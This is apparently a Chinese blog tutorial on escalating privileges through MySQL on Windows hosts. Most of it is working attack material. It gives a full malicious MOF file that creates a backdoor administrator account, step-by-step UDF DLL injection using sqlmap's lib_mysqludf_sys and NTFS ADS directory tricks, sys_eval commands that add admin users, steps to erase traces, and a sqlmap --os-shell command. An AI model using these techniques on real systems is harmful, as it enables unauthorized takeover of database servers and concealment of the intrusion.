mysql提权
1.MOF 提取
利用条件
使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。
提权原理
利用了**c:/windows/system32/wbem/mof/**目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行
基本步骤
编写mof文件,必须命名为nullevt.mof
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin.admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
上传到c:\windows\system32(或c:\winnt\)目录
mysql> select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
--此处C:/wmpub/nullevt.mof为上次mof文件位置,可联合文件上传漏洞,在www目录下写入mof文件
此处var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin.admin /add\")执行添加admin用户
再次上传mof文件,把admin用户提权到管理员组(修改var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators secist /add\"))
最终创建了管理员用户
远程桌面连接
mstsc /admin
2.UDF提取
利用条件
1、其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码。
2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
4、掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
提权方法
mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。
sqlmap里是有udf.dll文件的,就在sqlmap/udf/mysql/windows目录下,里面有32位和64位
注意:这里的位数是mysql的位数,并不是对方系统的位数。sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中
基本步骤
udf.dll解码
python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
#/usr/share/sqlmap/extra/cloak/cloak.py自带的locak解码脚本
#/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 为sqlmap自带UDF文件路径
#执行完成后会在/usr/share/sqlmap/data/udf/mysql/windows/64/文件夹下生成lib_mysqludf_sys.dll文件
#攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
#sys_eval,执行任意命令,并将输出返回。
#sys_exec,执行任意命令,并将退出码返回。
#sys_get,获取一个环境变量。
#sys_set,创建或修改一个环境变量。
并把lib_mysqludf_sys.dll文件上传到站点目录下,改名为udf.dll
文件导入
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
一般lib\plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)有webshell可以直接创建,没有的话使用 into dumpfile 写入
手工建立lib\plugin文件夹
mysql> select @@basedir; //查找到mysql的目录
mysql> select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
mysql> select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
从udf文件中引入自定义函数
mysql> create function sys_eval returns string soname 'udf.dll';
--sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
执行自定义函数
mysql> select sys_eval('net user admin admin /add');
mysql> select sys_eval('net localgroup administrators admin /add');
远程桌面连接
mstsc /admin
清除痕迹
mysql> drop function sys_eval; --删除函数
mysql> delete from mysql.func where name='sys_eval' --删除函数
其他
版本>5.6.34 secure-file-priv需要为空才可以通过mysql传udf
1. into outfile 直接写入
-- 1.将udf的内容进行16进制编码 得到字符串 A
hexdump lib_mysqludf_sys.dll
-- 2.写入文件
mysql> select A into outfile 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
-- 3.创建sys_eval
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
-- 4.获取system执行权限
mysql> select sys_eval('whoami');
2. 表内容导出写入
-- 1.将udf的内容进行16进制编码 得到字符串 A
hexdump lib_mysqludf_sys.dll
-- 2.建立表保存16进制内容
mysql> set @my_udf=concat('',A);
mysql> create table udf_data(data LONGBLOB);
--3.将my_udf的内容插入表udf_data中。
mysql> insert into udf_data values("");
mysql> update udf_data set data = @my_udf;
--4.将内容导出到文件。
mysql> select data from udf_data into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
--5.执行系统命令
mysql> create function sys_eval returns string soname 'udf.dll';
mysql> select sys_eval('whoami');
3.sqlmap写入UDF
sqlmap.py -d "mysql://root:root@172.0.0.1:3306/mysql" --os-shell

被折叠的 条评论
为什么被折叠?



